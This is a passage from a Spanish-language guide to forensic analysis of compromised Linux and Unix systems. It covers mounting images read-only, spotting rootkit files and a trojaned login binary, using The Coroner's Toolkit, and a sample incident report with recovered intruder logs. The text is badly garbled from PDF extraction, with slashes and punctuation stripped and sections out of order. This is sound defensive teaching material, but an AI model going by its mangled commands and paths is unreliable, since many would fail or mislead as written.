Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 23: Análisis Forense de Sistemas GNU/Linux, Unix

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

